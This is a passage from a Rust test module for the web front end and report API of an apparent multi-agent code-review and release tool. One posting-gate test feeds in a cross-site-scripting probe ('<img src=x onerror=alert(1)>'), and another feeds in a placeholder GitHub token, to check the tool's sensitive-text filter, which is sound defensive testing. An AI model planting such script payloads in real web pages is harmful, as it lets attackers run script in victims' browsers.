21228        assert_eq!(res.status, 200, "{}", res.body);
21229        let j = res.json();
21230        assert_eq!(j["schema"], 1);
21231        assert_eq!(j["header"]["tone"], "warn");
21232        assert_eq!(
21233            j["header"]["startup"],
21234            "review branch=topic stage=fetch complete=false"
21235        );
21236        assert_eq!(
21237            j["header"]["startup_failure"],
21238            "fetch refused\ncredentials expired"
21239        );
21240        assert_eq!(j["sections"][0]["items"][0]["state"], "no_change");
21241        assert_eq!(
21242            j["sections"][0]["items"][0]["detail"],
21243            "Already covered.\nNo patch needed."
21244        );
21245        assert_eq!(
21246            j["sections"][1]["tally"]["rate_limited"],
21247            serde_json::json!(["judge-1", "judge-2"])
21248        );
21249        let sections = j["sections"].as_array().unwrap();
21250        let labels: Vec<_> = sections
21251            .iter()
21252            .map(|section| {
21253                section["key"]
21254                    .as_str()
21255                    .or_else(|| section["kind"].as_str())
21256                    .unwrap()
21257            })
21258            .collect();
21259        assert_eq!(
21260            labels,
21261            [
21262                "candidates",
21263                "tally",
21264                "quota_details",
21265                "recovery",
21266                "review",
21267                "merge_repairs",
21268                "release_decision_attempts",
21269                "release_bump",
21270                "release_execution"
21271            ]
21272        );
21273        let note = |key: &str| {
21274            sections
21275                .iter()
21276                .find(|section| section["kind"] == "notes" && section["key"] == key)
21277                .unwrap()
21278        };
21279        let unavailable = note("quota_details");
21280        assert_eq!(unavailable["tone"], "warn");
21281        assert_eq!(
21282            unavailable["lines"],
21283            serde_json::json!([
21284                "judge-1 (signed-out: re-authenticate)",
21285                "judge-2 (usage limit)"
21286            ])
21287        );
21288        let recovery = note("recovery");
21289        assert_eq!(recovery["tone"], "warn");
21290        assert!(
21291            recovery["lines"][0]
21292                .as_str()
21293                .unwrap()
21294                .contains("head moved\nreview the new diff")
21295        );
21296        assert_eq!(
21297            recovery["lines"][1],
21298            "the task's own completion criteria were kept"
21299        );
21300        assert_eq!(recovery["lines"][2], "repair: unfinished");
21301        let review = sections
21302            .iter()
21303            .find(|section| section["kind"] == "review")
21304            .unwrap();
21305        assert_eq!(review["tone"], "warn", "missing input cannot look settled");
21306        let round = &review["rounds"][0];
21307        assert_eq!(round["verified_head"], "fedcba9");
21308        assert_eq!(round["verified_at"], "2026-09-02T14:05:01Z");
21309        assert_eq!(round["status"], "incomplete");
21310        assert_eq!(round["e2e"]["state"], "pass");
21311        assert_eq!(round["reviewers"][0]["vote"], "reject");
21312        assert_eq!(round["reviewers"][0]["final_vote"], "approve_with_findings");
21313        assert_eq!(
21314            round["reviewers"][0]["reason"],
21315            "Initial **concern**.\n\nPlease inspect."
21316        );
21317        assert!(
21318            !round["reviewers"][0]["reason_md"]
21319                .as_array()
21320                .unwrap()
21321                .is_empty()
21322        );
21323        assert!(round["reviewers"][1]["final_vote"].is_null());
21324        assert_eq!(round["reviewers"][1]["failed"], "connection lost");
21325        assert_eq!(
21326            round["reconsideration"][0]["reason"],
21327            "The blocker is resolved.\nOne minor issue remains."
21328        );
21329        assert!(
21330            !round["reconsideration"][0]["reason_md"]
21331                .as_array()
21332                .unwrap()
21333                .is_empty()
21334        );
21335        let repairs = note("merge_repairs");
21336        assert_eq!(repairs["tone"], "warn");
21337        assert_eq!(
21338            repairs["lines"][0],
21339            "question question-42  head abcdef012345  Failed\nhttps://example.test/pull/42"
21340        );
21341        assert_eq!(
21342            repairs["lines"][1],
21343            "held: owner decision required\ninspect updated results"
21344        );
21345        assert_eq!(
21346            repairs["lines"][2],
21347            "original [R1-1-1] Minor: Check edge case"
21348        );
21349        assert_eq!(
21350            repairs["lines"][3],
21351            "original reviewer #1: ApproveWithFindings"
21352        );
21353        assert_eq!(
21354            repairs["lines"][4],
21355            "Repair never approves a merge; updated results require a fresh owner decision."
21356        );
21357        let attempts = note("release_decision_attempts");
21358        assert_eq!(attempts["tone"], "neutral");
21359        assert_eq!(
21360            attempts["lines"],
21361            serde_json::json!(["1. first: unavailable", "2. second: patch\naccepted"])
21362        );
21363        let bump = sections
21364            .iter()
21365            .find(|section| section["kind"] == "release_bump")
21366            .unwrap();
21367        assert_eq!(bump["bump"]["automerge"], "local");
21368        assert_eq!(bump["bump"]["problem"], "publish failed\nregistry refused");
21369        assert_eq!(bump["tone"], "warn");
21370        let execution = note("release_execution");
21371        assert_eq!(execution["tone"], "warn");
21372        assert_eq!(
21373            execution["lines"][0],
21374            "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
21375        );
21376        assert_eq!(
21377            execution["lines"][1],
21378            "tag on remote: true; 1 command(s) completed"
21379        );
21380        assert_eq!(
21381            execution["lines"][2],
21382            "cargo publish (exit 1) output /logs/publish.log\nfirst output line\nsecond output line"
21383        );
21384
21385        // The original endpoint remains terminal text, including these same facts.
21386        let raw = f.get(&format!("/api/runs/{id}/report")).await;
21387        assert_eq!(raw.status, 200);
21388        assert!(
21389            raw.headers
21390                .contains("content-type: text/plain; charset=utf-8")
21391        );
21392        assert!(raw.body.contains("fetch refused\ncredentials expired"));
21393        assert!(raw.body.contains("Already covered."));
21394        assert!(raw.body.contains("judge-1 (signed-out: re-authenticate)"));
21395        assert!(raw.body.contains("judge-2 (usage limit)"));
21396        assert!(
21397            raw.body
21398                .contains("owner decision required\ninspect updated results")
21399        );
21400        assert!(raw.body.contains("2. second: patch\naccepted"));
21401        assert!(raw.body.contains(
21402            "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
21403        ));
21404
21405        // Historical records do not acquire invented startup or verification facts.
21406        let legacy_id = "20260902-140506-old";
21407        write_run(&f.runs(), legacy_id, RunStatus::Stalled);
21408        let legacy = f.get(&format!("/api/runs/{legacy_id}/report.json")).await;
21409        assert_eq!(legacy.status, 200, "{}", legacy.body);
21410        let legacy = legacy.json();
21411        assert!(legacy["header"]["startup"].is_null());
21412        assert!(legacy["header"]["startup_failure"].is_null());
21413        assert!(
21414            legacy["sections"]
21415                .as_array()
21416                .unwrap()
21417                .iter()
21418                .all(|section| section["kind"] != "notes")
21419        );
21420    }
21421
21422    #[tokio::test]
21423    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
21424        crate::run::pin_test_home();
21425        let f = Fixture::start().await;
21426        let id = "20260902-140503-delib";
21427        write_run(&f.runs(), id, RunStatus::Merged);
21428        let path = f.runs().join(id).join("run.json");
21429        let mut v: serde_json::Value =
21430            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21431        v["judgements"] = serde_json::json!([
21432            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
21433        ]);
21434        v["tally"] = serde_json::json!({
21435            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21436            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
21437            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
21438            "met_quorum": true, "rankings": 1
21439        });
21440        v["deliberation"] = serde_json::json!([
21441            {
21442                "round": 1,
21443                "turns": [
21444                    {
21445                        "judge": 1,
21446                        "agent": "judge-1",
21447                        "body": "I prefer candidate **A** because it has cleaner tests.",
21448                        "tentative": "A"
21449                    }
21450                ]
21451            },
21452            {
21453                "round": 2,
21454                "turns": [
21455                    {
21456                        "judge": 1,
21457                        "agent": "judge-1",
21458                        "body": "Still thinking, no choice yet.",
21459                        "tentative": null
21460                    }
21461                ]
21462            }
21463        ]);
21464        std::fs::write(&path, v.to_string()).unwrap();
21465
21466        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21467        assert_eq!(res.status, 200, "{}", res.body);
21468        let j = res.json();
21469        let judging = j["sections"]
21470            .as_array()
21471            .unwrap()
21472            .iter()
21473            .find(|s| s["kind"] == "judging")
21474            .expect("judging section exists");
21475
21476        // Existing summary lines remain intact
21477        let delib_lines = judging["deliberation"].as_array().unwrap();
21478        assert_eq!(delib_lines.len(), 2);
21479        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
21480        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
21481
21482        // rounds carry turn bodies, tentative and parsed body_md
21483        let rounds = judging["rounds"].as_array().unwrap();
21484        assert_eq!(rounds.len(), 2);
21485        let r1_t0 = &rounds[0]["turns"][0];
21486        assert_eq!(r1_t0["judge"], 1);
21487        assert_eq!(r1_t0["agent"], "judge-1");
21488        assert_eq!(r1_t0["tentative"], "A");
21489        assert_eq!(
21490            r1_t0["body"],
21491            "I prefer candidate **A** because it has cleaner tests."
21492        );
21493        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
21494
21495        let r2_t0 = &rounds[1]["turns"][0];
21496        assert_eq!(r2_t0["judge"], 1);
21497        assert_eq!(r2_t0["agent"], "judge-1");
21498        assert!(r2_t0["tentative"].is_null());
21499        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
21500        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
21501
21502        // A run with empty deliberation array yields empty rounds
21503        let id_empty = "20260902-140504-nodelib";
21504        write_run(&f.runs(), id_empty, RunStatus::Merged);
21505        let path_empty = f.runs().join(id_empty).join("run.json");
21506        let mut v_empty: serde_json::Value =
21507            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
21508        v_empty["judgements"] = serde_json::json!([
21509            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
21510        ]);
21511        v_empty["deliberation"] = serde_json::json!([]);
21512        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
21513
21514        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
21515        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
21516        let j_empty = res_empty.json();
21517        let judging_empty = j_empty["sections"]
21518            .as_array()
21519            .unwrap()
21520            .iter()
21521            .find(|s| s["kind"] == "judging")
21522            .expect("judging section exists");
21523        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
21524    }
21525
21526    #[tokio::test]
21527    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
21528        let f = Fixture::start().await;
21529
21530        let html = f.get("/").await;
21531        let css = f.get("/app.css").await;
21532        let js = f.get("/app.js").await;
21533
21534        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
21535        assert!(
21536            html.headers
21537                .contains("content-type: text/html; charset=utf-8")
21538        );
21539        assert!(css.headers.contains("content-type: text/css"));
21540        assert!(js.headers.contains("content-type: text/javascript"));
21541        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
21542    }
21543
21544    #[test]
21545    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
21546        let body = |name: &str| {
21547            let at = APP_JS
21548                .find(name)
21549                .unwrap_or_else(|| panic!("{name} missing"));
21550            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
21551        };
21552        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
21553        let note = body("function landRoundNote");
21554        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
21555        assert!(note.contains("Land round ${round}"));
21556        let land = body("function renderLand");
21557        let note_at = land
21558            .find("landRoundNote(pr)")
21559            .expect("renderLand uses the note");
21560        assert!(
21561            note_at
21562                < land
21563                    .find("roundRail(pr)")
21564                    .expect("renderLand uses the rail")
21565        );
21566    }
21567
21568    #[test]
21569    fn the_runs_page_redesign_keeps_its_guards() {
21570        let body = |name: &str| {
21571            let at = APP_JS
21572                .find(name)
21573                .unwrap_or_else(|| panic!("{name} missing"));
21574            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
21575        };
21576        // A null child must never reach the native append (it prints "null").
21577        let land = body("function renderLand");
21578        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
21579        assert!(
21580            !land.contains("box.append("),
21581            "renderLand must use append()"
21582        );
21583        assert!(land.contains("append(box, ["));
21584        // Tabs are hash routes; the run id alone decides a reload.
21585        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
21586        assert!(
21587            body("function applyRoute")
21588                .contains("route.name !== state.route.name || route.id !== state.route.id")
21589        );
21590        // The decorative diagram is gone, the strip and its guards stay.
21591        assert!(!APP_JS.contains("adviseConvergeDiagram"));
21592        assert!(!INDEX_HTML.contains("advise-converge"));
21593        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
21594        assert!(APP_JS.contains("provisional"));
21595        for id in [
21596            "run-tab-overview",
21597            "run-tab-timeline",
21598            "run-tab-report",
21599            "run-report",
21600            "runs-scope",
21601        ] {
21602            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
21603        }
21604        assert!(!INDEX_HTML.contains("runs-tree"));
21605        assert!(!INDEX_HTML.contains("run-raw-panel"));
21606        // Fold still says it cannot be resumed.
21607        assert!(APP_JS.contains("resume"));
21608        // The unreadable-runs count stays on the page.
21609        assert!(APP_JS.contains("unreadable"));
21610    }
21611
21612    #[test]
21613    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
21614        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
21615        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
21616        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
21617        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
21618        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
21619        // The subtitle still counts them whatever the banner does.
21620        assert!(APP_JS.contains("unreadable` : null"));
21621    }
21622
21623    #[test]
21624    fn blocked_run_detail_exposes_the_failed_gate_reason() {
21625        let mut state = RunState::new(
21626            "/repo".into(),
21627            "main".into(),
21628            "abc".into(),
21629            "task".into(),
21630            crate::config::Config::default(),
21631        );
21632        state.status = RunStatus::Blocked;
21633        state.gate_ran = true;
21634        state.gate.push(crate::run::CommandOutcome {
21635            command: "cargo make check".into(),
21636            code: Some(1),
21637            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
21638            duration_ms: 0,
21639            resource_blocked: false,
21640            ..Default::default()
21641        });
21642        let view = RunDetailView::of(
21643            state,
21644            false,
21645            crate::run::Liveness::Unknown,
21646            None,
21647            None,
21648            None,
21649        );
21650        let value = serde_json::to_value(view).unwrap();
21651        assert_eq!(
21652            value["stop_reason"],
21653            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
21654        );
21655    }
21656
21657    #[test]
21658    fn the_run_detail_payload_says_whether_the_run_is_done() {
21659        // `landView` reads `run.done`; the detail response must carry it.
21660        for (status, done) in [
21661            (RunStatus::Superseded, true),
21662            (RunStatus::Blocked, true),
21663            (RunStatus::Landing, false),
21664        ] {
21665            let mut state = RunState::new(
21666                std::path::PathBuf::from("/repo"),
21667                "main".to_owned(),
21668                "abc".to_owned(),
21669                "x".to_owned(),
21670                crate::config::Config::default(),
21671            );
21672            state.status = status;
21673            let v = serde_json::to_value(RunDetailView::of(
21674                state,
21675                false,
21676                crate::run::Liveness::Unknown,
21677                None,
21678                None,
21679                None,
21680            ))
21681            .unwrap();
21682            assert_eq!(v["done"], done, "{status:?}");
21683        }
21684    }
21685
21686    /// The first node of a markdown block holds a `strong` somewhere.
21687    fn has_strong(nodes: &[md::Node]) -> bool {
21688        serde_json::to_string(nodes).unwrap().contains("strong")
21689    }
21690
21691    #[test]
21692    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
21693        let mut state = RunState::new(
21694            std::path::PathBuf::from("/repo"),
21695            "main".to_owned(),
21696            "abc".to_owned(),
21697            "x".to_owned(),
21698            crate::config::Config::default(),
21699        );
21700        let proposal = |approach: &str| {
21701            serde_json::json!({
21702                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
21703            })
21704        };
21705        state.advice = Some(
21706            serde_json::from_value(serde_json::json!({
21707                "records": [
21708                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
21709                     "proposal": proposal("do **this**")},
21710                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
21711                ],
21712                "synthesis": "- one\n- **two**\n\n`code`",
21713            }))
21714            .unwrap(),
21715        );
21716        state.candidates = serde_json::from_value(serde_json::json!([
21717            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
21718             "summary": "did **it**"},
21719            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
21720        ]))
21721        .unwrap();
21722        // Recorded in ascending severity, the reverse of how the page sorts
21723        // them: the arrays must follow the record, not the display.
21724        state.reviews = serde_json::from_value(serde_json::json!([{
21725            "round": 1, "head": "h",
21726            "reviews": [{
21727                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
21728                "findings": [
21729                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
21730                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
21731                ],
21732            }],
21733            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
21734            "fix": {"agent": "a", "notes": "fixed **it**",
21735                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
21736        }, {"round": 2, "head": "h2", "reviews": []}]))
21737        .unwrap();
21738
21739        let v = serde_json::to_value(RunDetailView::of(
21740            state,
21741            false,
21742            crate::run::Liveness::Unknown,
21743            None,
21744            None,
21745            None,
21746        ))
21747        .unwrap();
21748
21749        let strong = |p: &str| {
21750            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
21751            assert!(n.to_string().contains("strong"), "{p}: {n}");
21752        };
21753        strong("/advice_md/synthesis");
21754        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
21755        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
21756        strong("/advice_md/approaches/0");
21757        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
21758        strong("/candidate_summaries_md/0");
21759        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
21760        strong("/reviews_md/0/reviewers/0/summary");
21761        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
21762        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
21763        assert!(f[1].to_string().contains("strong"));
21764        strong("/reviews_md/0/reconsideration/0");
21765        strong("/reviews_md/0/fix/notes");
21766        strong("/reviews_md/0/fix/rejected/0");
21767        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
21768        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
21769        // The raw strings stay, and no schema moved.
21770        assert_eq!(v["candidates"][0]["summary"], "did **it**");
21771        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
21772    }
21773
21774    #[test]
21775    fn a_run_without_advice_has_no_advice_md() {
21776        let state = RunState::new(
21777            std::path::PathBuf::from("/repo"),
21778            "main".to_owned(),
21779            "abc".to_owned(),
21780            "x".to_owned(),
21781            crate::config::Config::default(),
21782        );
21783        let p = run_prose_md(&state);
21784        assert!(p.advice_md.is_none());
21785        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
21786    }
21787
21788    #[test]
21789    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
21790        let store = ask::Questions::at(PathBuf::from("unused"));
21791        let gt = crate::github_text::Withheld {
21792            title: false,
21793            body: true,
21794            categories: vec!["sensitive-data".into()],
21795        };
21796        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
21797        let (detail, comparison) =
21798            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
21799        let mut q = Question::new(
21800            "r".into(),
21801            "github-text".into(),
21802            "posting-gate".into(),
21803            "s".into(),
21804            detail,
21805            Vec::new(),
21806        );
21807        assert!(
21808            QuestionView::of(q.clone(), &store, None)
21809                .posting_view
21810                .is_none()
21811        );
21812        q.posting_comparison = Some(comparison);
21813        let view = QuestionView::of(q.clone(), &store, None);
21814        let field = &view.posting_view.unwrap().fields[0];
21815        assert_eq!(
21816            field
21817                .original
21818                .iter()
21819                .map(|f| f.text.as_str())
21820                .collect::<String>(),
21821            body
21822        );
21823        assert!(field.original[0].text.starts_with("<img"));
21824        let original_question: Question =
21825            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
21826        assert_eq!(original_question, q);
21827        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
21828            .original
21829            .start = 1;
21830        assert!(
21831            QuestionView::of(q.clone(), &store, None)
21832                .posting_view
21833                .is_none()
21834        );
21835        q.posting_comparison = original_question.posting_comparison;
21836        q.detail.push_str("extra context");
21837        assert!(
21838            QuestionView::of(q.clone(), &store, None)
21839                .posting_view
21840                .is_some()
21841        );
21842        q.detail.insert(0, 'x');
21843        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
21844    }
21845
21846    #[test]
21847    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
21848        let store = ask::Questions::at(PathBuf::from("unused"));
21849        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
21850        let gt = crate::github_text::Withheld::from_check(
21851            &crate::github_text::check("fix: x", body),
21852            "fix: x",
21853            body,
21854        )
21855        .unwrap();
21856        let (detail, comparison) =
21857            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
21858        let mut q = Question::new(
21859            "r".into(),
21860            "github-text".into(),
21861            "posting-gate".into(),
21862            "s".into(),
21863            detail,
21864            Vec::new(),
21865        );
21866        q.posting_comparison = Some(comparison);
21867        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
21868        let field = &value["posting_view"]["fields"][0];
21869        let group = &field["replacement_group"];
21870        let triggers = group["triggers"].as_array().unwrap();
21871        assert_eq!(triggers.len(), 2);
21872        assert_ne!(triggers[0], triggers[1]);
21873        for id in triggers {
21874            assert!(
21875                field["original"]
21876                    .as_array()
21877                    .unwrap()
21878                    .iter()
21879                    .any(|f| &f["pair"] == id)
21880            );
21881            assert!(
21882                !field["changed"]
21883                    .as_array()
21884                    .unwrap()
21885                    .iter()
21886                    .any(|f| &f["pair"] == id)
21887            );
21888        }
21889        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
21890            group["id"].as_u64().unwrap() as usize;
21891        assert!(
21892            QuestionView::of(q, &store, None).posting_view.is_none(),
21893            "group and trigger IDs cannot collide"
21894        );
21895    }
21896
21897    #[test]
21898    fn a_question_view_carries_markdown_for_each_thread_turn() {
21899        let home = TempDir::new().unwrap();
21900        let store = ask::Questions::at(home.path().join("questions"));
21901        let mut q = Question::new(
21902            "run".to_owned(),
21903            "implement".to_owned(),
21904            "impl-A".to_owned(),
21905            "which?".to_owned(),
21906            String::new(),
21907            Vec::new(),
21908        );
21909        q.say("plain words").unwrap();
21910        q.reply("use **this**", Vec::new()).unwrap();
21911        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
21912        let bodies = &v["thread_bodies_md"];
21913        assert_eq!(bodies.as_array().unwrap().len(), 2);
21914        assert!(!bodies[0].to_string().contains("strong"));
21915        assert!(bodies[1].to_string().contains("strong"));
21916    }
21917
21918    #[test]
21919    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
21920        let home = TempDir::new().unwrap();
21921        let store = ask::Questions::at(home.path().join("questions"));
21922        let mut q = Question::new(
21923            "run".to_owned(),
21924            "conduct".to_owned(),
21925            "conduct".to_owned(),
21926            "which?".to_owned(),
21927            String::new(),
21928            Vec::new(),
21929        );
21930        q.say("plain words").unwrap();
21931        q.thread.push(ask::Turn {
21932            who: ask::Who::Agent,
21933            body: "Settled as `merge`".to_owned(),
21934            at: jiff::Timestamp::now(),
21935            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
21936        });
21937        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
21938        let notes = &v["thread_notes_md"];
21939        assert_eq!(notes.as_array().unwrap().len(), 2);
21940        assert!(notes[0].is_null());
21941        let text = notes[1].to_string();
21942        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
21943        assert!(APP_JS.contains("ask-turn-note"));
21944    }
21945
21946    #[test]
21947    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
21948        // The land panel defers to `run.status` for merged, and labels a
21949        // recorded-open PR on any finished run (superseded, blocked, ...) as
21950        // last seen, never as live state.
21951        assert!(APP_JS.contains("function landView(run, raw) {"));
21952        assert!(
21953            APP_JS.contains(
21954                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
21955            )
21956        );
21957        assert!(APP_JS.contains("const pr = landView(run, raw);"));
21958        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
21959        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
21960        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
21961    }
21962
21963    #[test]
21964    fn live_runs_are_never_hidden_or_folded_as_superseded() {
21965        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
21966        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
21967        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
21968        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
21969    }
21970
21971    #[test]
21972    fn review_rounds_label_a_distinct_verified_head() {
21973        assert!(APP_JS.contains("round.verified_head"));
21974        assert!(APP_JS.contains("verified HEAD"));
21975        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
21976    }
21977
21978    #[test]
21979    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
21980        // A blocked task's chip and note must not fall back to a queued-like
21981        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
21982        // itself by e11fc58 but never checked here.
21983        assert!(APP_JS.contains("blocked: { glyph:"));
21984        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
21985
21986        // `blocked_by` mixes task ids and question ids in the same list, and
21987        // the client can only tell them apart by checking each id against
21988        // what it actually knows - never by guessing from the id's shape.
21989        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
21990        assert!(
21991            APP_JS.contains(
21992                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
21993            ),
21994            "the note line must name what a blocked task is waiting on, not just that it is blocked"
21995        );
21996        // The classification must key off `status_str`, never off `blocked_by`
21997        // or `block_reason` merely being present - both can survive briefly
21998        // on a task a hold or a dead daemon just moved off `blocked`.
21999        assert!(APP_JS.contains("if (status === \"blocked\") {"));
22000
22001        // A question a task is blocked on gets its own node in the same
22002        // dependency graph, not just a task-shaped node with nothing known
22003        // about it. The web_render browser test checks the actual destination.
22004        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
22005        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
22006
22007        // `Task::answers` - decisions already made - are shown as a record on
22008        // the card, the same disclosure style as the full instruction.
22009        assert!(APP_JS.contains("Resolved questions"));
22010        assert!(APP_JS.contains("r.answersList.append("));
22011        assert!(APP_CSS.contains(".task-answers"));
22012        {
22013            let start = APP_JS
22014                .find("function updateTalkTaskRow")
22015                .expect("updateTalkTaskRow");
22016            let body = &APP_JS[start..];
22017            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
22018            assert!(
22019                body.contains(
22020                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
22021                ),
22022                "a chat-filed task row must link to the task page"
22023            );
22024            assert!(
22025                !body.contains("#/runs/") && !body.contains("#/queue/"),
22026                "the row must not branch to a run or the queue card"
22027            );
22028            assert!(APP_CSS.contains(".talk-task-link"));
22029        }
22030    }
22031
22032    #[test]
22033    fn a_task_notification_links_to_the_task_page() {
22034        // A task notice opens the task detail page, not the Backlog card.
22035        let start = APP_JS
22036            .find("function noticeLink(")
22037            .expect("noticeLink exists");
22038        let body = &APP_JS[start..];
22039        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
22040        assert!(
22041            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
22042            "a task notice's link must target the task page"
22043        );
22044        assert!(
22045            !body.contains("#/queue/"),
22046            "regression: the task link must not go back to the Backlog route"
22047        );
22048        assert!(
22049            APP_JS.contains(
22050                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
22051            ),
22052            "`#/tasks/<id>` must parse into the task route"
22053        );
22054
22055        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
22056        assert!(
22057            APP_JS.contains(
22058                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
22059            ),
22060            "`#/queue/<id>` must parse into a route carrying that id"
22061        );
22062
22063        // And the Backlog view has to actually land on the card once it can
22064        // - see consumeQueueFocus(), which renderQueue() calls on every pass
22065        // so a focus set before the queue has loaded is retried once it has.
22066        assert!(APP_JS.contains("state.queueFocus = route.id;"));
22067        assert!(APP_JS.contains("function consumeQueueFocus()"));
22068        assert!(APP_JS.contains("jumpToTask(id)"));
22069    }
22070
22071    #[test]
22072    fn notifications_distinguish_actionable_questions_from_informational_notices() {
22073        let start = APP_JS
22074            .find("function noticeCoveredBy(")
22075            .expect("noticeCoveredBy exists");
22076        let body = &APP_JS[start..];
22077        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
22078
22079        // Historical associations are informational, even for open questions.
22080        assert!(body.contains("Associated question ${short}"));
22081        assert!(!body.contains("el(\"a\""));
22082
22083        // A resolved question displays status rather than an actionable link
22084        assert!(body.contains("(resolved)"));
22085        assert!(body.contains("(closed)"));
22086
22087        let start = APP_JS
22088            .find("function renderNotifications()")
22089            .expect("renderNotifications exists");
22090        let body = &APP_JS[start..];
22091        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
22092
22093        // Only a server-resolved answerable question supplies a response link.
